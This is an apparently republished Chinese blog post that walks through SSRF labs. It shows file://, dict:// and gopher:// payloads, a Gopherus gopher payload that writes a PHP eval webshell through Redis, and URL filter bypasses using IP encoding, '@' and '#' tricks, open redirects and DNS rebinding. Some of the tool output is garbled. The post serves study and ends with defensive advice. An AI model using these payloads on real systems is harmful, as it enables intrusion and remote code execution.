SSRF漏洞深入利用与防御方案绕过技巧

文章目录

  • 前言
  • SSRF基础利用
    • 1.1 http://内网资源访问
    • 1.2 file:///读取内网文件
    • 1.3 dict://探测内网端口
  • SSRF进阶利用
    • 2.1 Gopher协议Post请求
    • 2.2 Gopher协议文件上传
    • 2.3 Gopher+Redis->RCE
    • 2.4 JavaWeb中的适用性?
  • SSRF防御绕过
    • 3.1 Url黑名单检测的绕过
    • 3.2 Url白名单检测的绕过
    • 3.3 Url重定向->绕过校验
    • 3.4 dns重绑定->绕过校验
  • 总结

前言

SSRF 属于在实战中较为常见的一类漏洞, 2019 年简单学习总结过 SSRF 基础知识《Web安全-SSRF漏洞-CSDN博客》,2020 年通过《渗透测试-Weblogic SSRF漏洞复现》和《从0到1浅析Redis服务器反弹Shell那些事》也学习了借助 SSRF 漏洞+Redis 服务器反弹 Shell 的技巧,本文进一步系统学习总结以下 SSRF 漏洞的利用技巧和修复缺陷方案的绕过手段。
imagepng

SSRF基础利用

下文将围绕 CTFHub SSRF 技能树的实验展开练习:
imagepng

1.1 http://内网资源访问

imagepng
很明显的 SSRF 漏洞:
imagepng
根据题目提示读取 Flag.php:
imagepng

1.2 file:///读取内网文件

imagepng
SSRF 漏洞利用过程常使用的伪协议类型:

协议类型协议数据格式协议介绍
filefile://文件绝对路径名主要用于读取服务器本地文件,访问本地的静态资源
dictditc://ip:port、ditc://ip:port/命令一般常用来探测内网主机以及端口开放情况,也可以用来执行一些服务的命令,如 redis
sftpsftp://ip:portSftp 代表 SSH 文件传输协议或安全文件传输协议,用于 Linux
tftptftp://ip:port/文件简单文件传输协议允许客户端从远程主机获取文件或将文件上传至远程主机
gophergopher://ip:port/_TCP/IP数据流分布式文档传递服务,使用 gopher 可发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,可使用 gopherus (工具) 生成 payload

此处采用 file 协议读取本地文件:?url=file:///var/www/html/flag.php
imagepng

1.3 dict://探测内网端口

imagepng
根据题目提示,进行端口爆破,此处采用 dict 协议进行端口探测:
imagepng
imagepng
imagepng
发现 8122 端口的相应包与众不同,修改为 http 协议发起 SSRF 请求,获得 Flag:
imagepng

SSRF进阶利用

2.1 Gopher协议Post请求

先看看题目,给出了如下提示:
imagepng
借助 SSRF 访问 /flag.php 可以看到一个 key:
imagepng
借助 file 协议查看 /flag.php、index.php 源码:
imagepng
imagepng
imagepng
flag.php 很好理解,检查客户端请求是否通过 post 传递了一个有效 key 值,是的话则输出 Flag。而 index.php 则需进一步解释下:

<?php
  //关闭错误报告
  error_reporting(0);
//判断url参数是否存在
if (!isset($_REQUEST['url'])){
  //不存在就跳转到当前根目录
  header("Location: /?url=_");
  exit;
}
//初始化curl
$ch = curl_init();
//指定请求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告诉curl不返回http头,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允许curl跟随重定向。如果服务器响应包含重定向,curl将自动处理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

解题思路自然就是:通过 index.php 传递一个访问 flag.php 且携带目标 key 值的 url(需要 POST 请求),系统会通过 curl 访问此 URL。如何使得 SSRF 漏洞能发起 POST 请求?此时 gopher 协议便登场了。

Gopher 是早期的 Internet 信息检索系统,通过索引将用户引导至不同资源,主要使用 TCP 70 端口,在 WWW 普及前,它是主要的检索工具,但现已基本过时,使用较少。gopher 协议支持发出 GET、POST 请求:可以先截获 get 请求包和 post 请求包,在构成符合 gopher 协议的请求。gopher 协议是 SSRF 利用中最强大的协议。

尝试使用 Gopher 协议向服务器发送 POST 包,首先构造 Gopher 协议所需的 POST 请求:

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=e5b1f488acba169d68b828a7b3b6a7bc

在使用 Gopher协议发送 POST 请求包时,Host、Content-TypeContent-Length请求头是必不可少的,但在 GET 请求中可以没有,而 key 值为前面访问 flag.php 的时候从注释中所获得的。

在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行 curl 请求时,进行第二次 URL 解码。所以我们需要对构造的请求包进行两次 URL 编码。同时注意:在第一次编码后的数据中,将%0A(换行符)全部替换为%0D%0A。因为%0A是 ASCII 码中的换行符,在 URL 的二次编码中不需要,否则会导致 curl 执行错误,导致我们拿不到正确的结果。
imagepng
imagepng
imagepng
然后通过以下请求将上述二次编码后的数据发送出去:

//使用gopher协议,构造payload
?url=gopher://127.0.0.1:80/_二次编码的url(注意别少了前面那个下划线)

成功获得 Flag:
imagepng

2.2 Gopher协议文件上传

imagepng
查看 flag.php 源码:
imagepng
提示我们上传 Webshell,同时从代码上看,只要往 flag.php 传递一个 size>0 的 file 即可成功拿到 Flag:
imagepng
此题目与上一题的区别在于上一题直接通过 Gopher 协议发送 Post 请求到 flag.php 并传递 key 值即可,而此题目需要通过 Gopher 协议传输文件。

在开发者工具中鼠标右键选择“以 HTML 元素修改”,临时修改前端代码,添加文件上传的提交按钮:

<input type="submit" name="submit">

imagepng
目的是提交测试文件并捕获报文:
imagepng
于是可以构造目标报文如下:

POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY

------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--

接下来的目标就是通过 index.php 的 SSRF 漏洞,借助 Gopher 协议发送上述报文到 flag.php,即可获得 Flag。

跟上一题一样进行 URL 编码(http://www.hiencode.com/url.html)获得最终 Payload:
imagepng
注意第一次 URL 编码后需要将 %0A(换行符)全部替换为%0D%0A
imagepng
然后进行第二次 URL 编码获得最终的 Payload:
imagepng
Payload 完整如下:

/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

imagepng
imagepng

2.3 Gopher+Redis->RCE

imagepng
此题目参考资料参见原来我写的博文《从0到1浅析Redis服务器反弹Shell那些事》即可,此文介绍了 Redis 服务进行 RCE 的常见思路,同时刚好在最后一章节提及 SSRF 借助 Redis 实现 RCE 的思路但未进行实践,此处通过此题目进行实践下。

此题目思路很简单,利用 SSRF 漏洞,借助 Gopher 协议往 Redis 写入如下木马:

config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>" 
save

此处直接使用 Gophar 协议利用工具 Gopharus,该工具将帮助我们生成 Gopher 有效负载,以利用 SSRF(服务器端请求伪造)并获得 RCE(远程代码执行)。 而且它将帮助我们在受害服务器上获得 shell,使用方法非常简单,按照提示就可以生成 payload 了:

python2 gopherus.py --exploit redis
  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$
Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html): 
Give PHP Payload (We have default PHP Shell): <?php eval($_POST['cmd']);?>

Your gopher link is Ready to get PHP Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%2onfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

imagepng
再进行一次 URL 编码得到最终 Payload:

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

发送上述 Payload:
imagepng
报了 504 但是中国蚁剑连接成功:
imagepng
imagepng

2.4 JavaWeb中的适用性?

为了检验上述利用方法在 JavaWeb 项目的适用性,使用 Java 开源靶场项目 java-sec-code 作为验证。

在 Ubuntu 虚拟机一键启动靶场环境,环境信息如下:
imagepng
此靶场 SSRF 漏洞源码 SSRF.java 如下:

//https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java
@RestController
@RequestMapping("/ssrf")
public class SSRF {
    private static final Logger logger = LoggerFactory.getLogger(SSRF.class);

    @Resource
    private HttpService httpService;

    /**
     * <p>
     *    The default setting of followRedirects is true. <br>
     *    Protocol: file ftp mailto http https jar netdoc. <br>
     *    UserAgent is Java/1.8.0_102.
     * </p>
     * <a href="http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd">http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd</a>
     */
    @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
    public String URLConnectionVuln(String url) {
        return HttpUtils.URLConnection(url);
    }

    ……
}

访问靶场,默认支持 file:/// 协议读取文件:
imagepng
验证下 Gopher 协议是否适用,目标是发送以下报文:
imagepng

GET /appInfo HTTP/1.1
Host: 192.168.0.121:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=15FFC3C7B34EE1DAEE84887FC287C44D; XSRF-TOKEN=47010a48-ee4a-46b0-99be-1d60be80a252; remember-me=YWRtaW46MTcyMTgzNjI5NzQxOTo3ZmU5OGRjODZhZmU1ZjM3Zjc4MjU1M2Q0Yzc4OGU4ZA
Connection: close

进行 URL 编码后发送,结果系统并不支持 Gopher 协议:
imagepng
参考《从1开始的Java代码审计·第四弹·SSRF》可以看到大致的原因:
imagepng
【More1】
从 《奇安信攻防社区-SSRF突破对file协议的限制》看到一种绕过 file 协议限制的方法:

url:file://xxx

imagepng
【More2】
顺便在此提前实践下下一章节才会提到的 URL 过滤 Bypass 技巧是否适用(建议看完全文再回来看此):
imagepng
imagepng
imagepng

SSRF防御绕过

SSRF 漏洞常见的修复方案是对外部传递的 URL 进行过滤,但是过滤不当的情况下又容易被 Bypass,下文来看看相关 Bypass 技巧 ,实验案例除了上文提到的 CTEHub 外,还会借助:https://portswigger.net/web-security/ssrf。

3.1 Url黑名单检测的绕过

【理论知识】

某些应用程序会阻止包含主机名(如 127.0.0.1 和 localhost )或敏感 URL(如 /admin),在这种情况下,您通常可以使用以下技术绕过过滤器:

  1. 使用 127.0.0.1 的 IP 表示形式,例如 2130706433(10进制ip)017700000001(8进制ip)127.1(短ip)
  2. 注册您自己的域名,该域名解析为 127.0.0.1 ,可以使用 spoofed.burpcollaborator.net 达到此目的;
  3. 使用 URL 编码或大小写变体对被阻止的字符串进行模糊处理;

【实验环境】

https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter。
imagepng
访问实验地址是个商城,单击商品详情页的库存检查,发现如下携带 URL 参数的请求:
imagepng
imagepng
根据题目要求,目标是访问 http://localhost/admin 界面并删除用户 carlos,访问 localhost、127.0.0.1 均被拦截:
imagepng
imagepng
上 Bypass 技巧,用 127.1 替代 127.0.0.1,成功绕过:
imagepng
但是访问 http://127.1/admin 依旧被拦截,说明拦截了 admin 关键词:
imagepng
对 admin 的首字母 a 进行二次 URL 编码,得到 %2561(a 第一次 URL 编码为 %61,第二次进行URL编码,%符号被编码成 %25,从而导致结果为 %2561),使用它绕过 admin 关键词检测 http://127.1/%2561dmin:
imagepng
访问 http://127.1/%2561dmin/delete?username=carlos 即可删除用户完成实验:
imagepng
imagepng

3.2 Url白名单检测的绕过

【理论知识】

一些应用程序只允许匹配上白名单范围内的输入,过滤器可能会在输入的开头或包含在输入中查找匹配项。您可以通过利用 URL 解析中的不一致来绕过此过滤器。URL 规范包含了许多在实现 URL 特定解析和验证时容易被忽略的特性:

  1. HTTP 基本身份认证特性允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式,例如:https://expected-host:fakepassword@evil-host,这里的@是主域名解析,即@符号后面直接跟域名,@符号前面的内容会被视为用户名,相当于以 expected-host:fakepassword 的用户名访问 evil-host,至于用户名是啥不重要,关键是@后面的才是解析的地址!
  2. 在 URL 中,#号后面的内容被称为片段标识符(fragment identifier),在客户端浏览器中,#及其后面的内容不会被发送到服务器。比如,访问http://example.com/page#fragment 时,浏览器只会向服务器发送 http://example.com/page,#fragment部分只在客户端解析,故可以借助https://evil-host#expected-host 绕过 url.contain(“expected-host”) 格式的域名白名单检测并最终访问 evil-host;
  3. 您可以利用 DNS 命名层次结构将所需的输入放入您控制的标准 DNS 名称中。例如:https://expected-host.evil-host;

【实验环境 1】
CTFHub SSRF
imagepng
imagepng
使用 ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php 绕过:
imagepng
imagepng
【实验环境 2】
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter
imagepng
SSRF 漏洞点依旧在商品详情的检查库存请求之中,简单的探测可以发现,服务端将stock.weliketoshop.net设置为白名单域名:
imagepng
imagepng
imagepng
如何绕过 stock.weliketoshop.net白名单限制??添加#发现不行:
imagepng
尝试对 # 号进行二次 URL 编码来绕过 # 检测?得到%2523# 符号的原始编码是%23。当进行二次URL编码时,已经编码的 % 符号本身也会被再次编码,因此%符号被编码成%25,从而导致%23变成%2523),成功绕过(仅仅依靠 # 无法绕过的话,尝试组合拳,加上 @ 试试):
imagepng
imagepng
最终删除目标账户的 Payload 为:http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos
imagepng
imagepng

3.3 Url重定向->绕过校验

【理论知识】

有时可以通过利用重定向漏洞来绕过基于过滤器的防御。在前面的示例中,假设用户提交的 URL 经过严格验证,以防止恶意利用 SSRF 行为。但是,允许 URL 的应用程序包含开放重定向漏洞。如果用于发出后端 HTTP 请求的 API 支持重定向,您可以构造一个满足过滤器的 URL,并将请求重定向到所需的后端目标。例如,该应用程序包含一个开放重定向漏洞,其中 URL 如下:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

返回重定向到:

http://evil-user.net

您可以利用开放重定向漏洞绕过 URL 过滤,利用 SSRF 漏洞,如下:

POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

此 SSRF 漏洞之所以有效,是因为应用程序首先验证提供的 stockAPI URL 是否位于允许的域上(事实确实如此)。然后,应用程序请求提供的 URL,这会触发开放重定向。它遵循重定向,并向攻击者选择的内部 URL 发出请求。

【实验环境】

https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
imagepng
观察到存在重定向漏洞的功能点:
imagepng
imagepng
imagepng
于是乎,借助 URL 重定向解决过滤:
imagepng
imagepng
imagepng
最终删除用户的 Payload 如下:

/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

imagepng

3.4 dns重绑定->绕过校验

【理论知识】

先介绍两个概念:

  1. DNS 是 Domain Name Service 的缩写,计算机域名服务器,在 Internet 上域名与 IP 地址之间是一一对应的,域名虽然便于人们记忆,但机器之间只能互相认识 IP 地址,它们之间的转换工作称为域名解析,而域名解析需要由专门的域名解析服务器来完成,这就是 DNS 域名服务器。
  2. TTL值全称是“生存时间(Time To Live)”,简单的说它表示 DNS 记录在 DNS 服务器上缓存时间,数值越小,修改记录各地生效时间越快。当各地的 DNS(LDNS) 服务器接受到解析请求时,就会向域名指定的授权DNS 服务器发出解析请求从而获得解析记录;该解析记录会在 DNS(LDNS) 服务器中保存一段时间,这段时间内如果再接到这个域名的解析请求,DNS 服务器将不再向授权 DNS 服务器发出请求,而是直接返回刚才获得的记录;而这个记录在 DNS 服务器上保留的时间,就是 TTL 值。

然后说说对于常见的 IP 限制,后端服务器可能通过下图的流程进行 IP 过滤:

  1. 对于用户请求的 URL 参数,首先服务器端会对其进行 DNS 解析,然后对于 DNS 服务器返回的 IP 地址进行判断,如果在黑名单中,就 pass 掉。
  2. 但是在整个过程中,第一次去请求 DNS 服务进行域名解析到第二次服务端去请求 URL 之间存在一个时间查,利用这个时间差,我们可以进行 DNS 重绑定攻击。

imagepng

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的 DNS Server,在我们的可控的 DNS Server 上编写解析服务,设置 TTL 时间为 0。这样就可以进行攻击了,完整的攻击流程为:

  1. 服务器端获得 URL 参数,进行第一次 DNS 解析,获得了一个非内网的 IP;
  2. 服务端对于获得的 IP 进行判断,发现为非黑名单 IP,则通过验证;
  3. 服务器端对于 URL 进行访问,由于 DNS 服务器设置的 TTL 为 0,所以再次进行 DNS 解析,这一次攻击者的 DNS 服务器返回的是内网地址。
  4. 由于已经绕过验证,所以服务器端返回访问内网资源的结果。

总结来说:由于我们无法在程序运行时以毫秒为单位手动更改 DNS 记录,所以要想实现 DNS 重绑定攻击,就必须配置一个自定义的恶意 DNS 服务器,并设定好指定域名的解析 IP,再将 TTL 设置为 0,使其解析时在非法内网 IP 与合法其他IP间反复横跳。

【实验环境】
CTFHub SSRF
imagepng
imagepng
用下面这个网站可以进行 DNS 重绑定:https://lock.cmpxchg8b.com/rebinder.html。
imagepng
绑定的两个 ip 中保证有一个是 127.0.0.1 即可,我这里和 192.168.0.1 绑定了,结果为 7f000001.c0a80001.rbndr.us。因此我们的url=7f000001.c0a80001.rbndr.us/flag.php,注意这个域名相当于绑定了两个 ip 地址(同一时刻只对应一个),由于无法确定进行 dns 校验时的 ip 是否为 127.0.0.1,可能一次请求不成功,多刷新几次即可。
imagepng

总结

本文借助 CTFHub 与 portswigger 两个 SSRF 靶场,实践练习了 SSRF 漏洞的基础利用(内网访问、文件读取、端口探测)和进阶利用(Gopher 协议发送 post 请求、攻击 Redis 实现 RCE 等),最后实践了常见的防御方案绕过手段(黑白名单绕过、重定向、DNS 绑定等)。

最后说下 SSRF 漏洞的防御手段:

  • 禁止302跳转,或者每跳转一次都进行校验目的地址是否为内网地址或合法地址。
  • 过滤返回信息,验证远程服务器对请求的返回结果,是否合法。
  • 禁用高危协议,例如:gopher、dict、ftp、file 等,只允许 http/https;
  • 设置 URL 白名单或者限制内网 IP;
  • 限制请求的端口为 http 的常用端口,或者根据业务需要治开放远程调用服务的端口;
  • catch错误信息,做统一错误信息,避免黑客通过错误信息判断端口对应的服务。

参考文章:

  1. What is SSRF (Server-side request forgery)?
  2. SSRF Cheat Sheet & Bypass Techniques;
  3. SSRF (Server Side Request Forgery) | HackTricks;
  4. 从1开始的Java代码审计·第四弹·SSRF;
  5. 干货 | SSRF的防御与绕过 - SecPulse.COM | 安全脉搏;
  6. CTFHub之Web篇之Web实战之SSRF(更新中~~) - AcWing;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/793884.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【PHP安装内置扩展】

PHP安装内置扩展 1、首先查看php源码以及查询是否有需要的扩展;本次以zlib扩展为例子 2、进入需要安装的扩展目录,执行命令 cd zlib 执行 make clean 清掉之前的安装的残留文件; 不需要的话直接略过,新安装也略过3、运行phpize,执行/usr/local/php/bin/phpize 注意这个路径一…

【BES2500x系列 -- RTX5操作系统】深入探索CMSIS-RTOS RTX -- 配置篇 -- 初识GPIO --(六)

&#x1f48c; 所属专栏&#xff1a;【BES2500x系列】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f49…

子任务:IT运维的精细化管理之道

在当今的企业运营中&#xff0c;信息技术已成为支撑业务发展的核心力量。根据Gartner的报告&#xff0c;IT服务管理&#xff08;ITSM&#xff09;的有效实施可以显著提升企业的运营效率&#xff0c;降低成本高达15%&#xff0c;同时提高服务交付速度和质量。随着业务的复杂性和…

7个外贸网站模板

Nebula独立站wordpress主题 Nebula奈卜尤拉wordpress主题模板&#xff0c;适合搭建外贸独立站使用的wordpress主题。 https://www.jianzhanpress.com/?p7084 Starling师大林WordPress独立站模板 蓝色橙色风格的WordPress独立站模板&#xff0c;适合做对外贸易的外贸公司搭建…

pytorch 是如何调用 cusolver API 的调用

0&#xff0c;环境 ubuntu 22.04 pytorch 2.3.1 x86 RTX 3080 cuda 12.2 1, 示例代码 以potrs为例&#xff1b; hello_cholesk.py """ hello_cholesky.py step1, Cholesky decompose; step2, inverse A; step3, Cholesky again; python3 hello_cholesky.py -…

Hi3861 OpenHarmony嵌入式应用入门--华为 IoTDA 设备接入

华为云物联网平台&#xff08;IoT 设备接入云服务&#xff09;提供海量设备的接入和管理能力&#xff0c;可以将自己的 IoT 设备 联接到华为云&#xff0c;支撑设备数据采集上云和云端下发命令给设备进行远程控制&#xff0c;配合华为云物联网平台的服 务实现设备与设备之间的控…

【区块链农场】:农场游戏+游戏

我的酒坊是一款非常受玩家欢迎的经营手游,游戏中你需要合理经营一家酒厂,将其做大做强。通过制定合理的战略,例如新建厂房,并采用传统工艺制作,针对不同的人群研制多重口味。

配置sublime的中的C++编译器(.sublime-build),实现C++20在sublime中的使用,小白教程

一&#xff0c;前期准备 首先我们需要准备一下 C 环境&#xff0c;当然如果你觉得你当前的C环境配置好了&#xff0c;并且C的版本也能完成您日常的使用需求&#xff0c;您可以使用下面两条命令对C的版本进行查询 g -vg --version通过返回的版本简单的判断是否能解决您的需求&…

[Godot3.3.3] - 过渡动画

过渡动画 ScreenTransitionAnimation 项目结构 添加场景&#xff0c;根节点为 CanvasLayer2D 并重命名为 ScreenTransition: 添加子节点 ColorRect 和 AnimationPlayer&#xff0c;在 ColorRect 中将颜色(Color)设置为黑色&#xff1a; 找到 Material&#xff0c;新建 Shader…

【Element-UI 表格表头、内容合并单元格】

一、实现效果&#xff1a; &#x1f970; 表头合并行、合并列 &#x1f970; &#x1f970; 表格内容行、合并列 &#x1f970; thead和tbody分别有单独的合并方法 二、关键代码&#xff1a; <el-table size"mini" class"table-th-F4F6FB" align&qu…

初识c++(类与对象——上)

一、类的定义 1、类定义格式 • class为定义类的关键字&#xff0c;Stack为类的名字&#xff0c;{}中为类的主体&#xff0c;注意类定义结束时后面分号不能省 略。类体中内容称为类的成员&#xff1a;类中的变量称为类的属性或成员变量; 类中的函数称为类的方法或 者成员函…

【C++初阶】类和对象(上)

【C初阶】类和对象&#xff08;上&#xff09; &#x1f955;个人主页&#xff1a;开敲&#x1f349; &#x1f525;所属专栏&#xff1a;C&#x1f96d; &#x1f33c;文章目录&#x1f33c; 1. 面向过程和面向对象初步认识 2. 类的引入 3. 类的定义 4. 类的访问限定符及封…

python 实验八 数据分析与展示

一、实验目的 掌握掌握matplotlib库中pyplot模块的使用。 二、实验环境 Window10&#xff08;x64&#xff09;&#xff0c;Python 3.8&#xff08;x64&#xff09;&#xff0c;PyCharm Community Edition 2020.3.2&#xff08;x64&#xff09; 三、实验内容 现有列表hight…

jmeter分布式(四)

一、gui jmeter的gui主要用来调试脚本 1、先gui创建脚本 先做一个脚本 演示&#xff1a;如何做混合场景的脚本&#xff1f; 用211的业务比例 ①启动数据库服务 数据库服务&#xff1a;包括mysql、redis mysql端口默认3306 netstat -lntp | grep 3306处于监听状态&#xf…

[迫真保姆级教程]在Windows上编译可用的Tesseract OCR in C++ 并部署在Visual Studio与Qt6上

目录 前言 阅前提示 导言 使用基于vcpkg的&#xff0c;于msvc19编译器编译的Tessereact OCR动态库 使用vcpkg辅助我们的编译 正文 使用msys2环境下的&#xff0c;使用mingw64编译器编译的Tessereact OCR动态库 什么是msys2 安装前&#xff0c;我们也许。。。 [Option]…

python作业二

# 二进制转化为十进制 num input("num:")def binaryToDecimal(binaryString):he 0length len(binaryString)for i in range(length):he int(binaryString[i]) * 2 ** (length - i - 1)return heprint(binaryToDecimal(num))代码运行如下&#xff1a; import math…

基于YOLOV8的数粒机-农业应用辣椒种子计数计重双标质量解决方案

一:辣椒种子行业背景调查 中国辣椒年产量稳居世界第一,食辣人口超5亿。中国辣椒全球闻名,小辣椒长成大产业,带动全球食品行业腾飞。 在中国,“辣”是不少地方餐桌上的一大特色。从四川的麻辣火锅到湖南的剁椒鱼头再到陕西的油泼辣子面,由南到北,总有食客对辣有着独一份偏…

【RHCE】系统服务综合实验

一、实验内容 现有主机 node01 和 node02&#xff0c;完成如下需求&#xff1a; 1、在 node01 主机上提供 DNS 和 WEB 服务 2、dns 服务提供本实验所有主机名解析 3、web服务提供 www.rhce.com 虚拟主机 4、该虚拟主机的documentroot目录在 /nfs/rhce 目录 5、该目录由 node02…

牛顿力学和拉格朗日力学求解atwood machine问题对比

一个半径为 R R R、转动惯量为 I I I 的圆盘。绳子与圆盘无滑动&#xff0c;质量 m 2 m_2 m2​ 的物体在重力 g g g 作用下下坠&#xff0c;带动质量 m 1 m_1 m1​ 的物体上升。求 m 1 m_1 m1​和 m 2 m_2 m2​ 的加速度 a a a。 牛顿力学方法 对质量 m 1 m_1 m1​ 和 …

物业系统自主研发接口测试框架

1、自主研发框架整体设计 1.1、什么是测试框架? 在了解什么是自动化测试框架之前&#xff0c;先了解一下什么叫框架?框架是整个或部分系统的可重用设计&#xff0c;表现为一组抽象构件及构件实例间交互的方法;另一种定义认为&#xff0c;框架是可被应用开发者定制的应用骨架…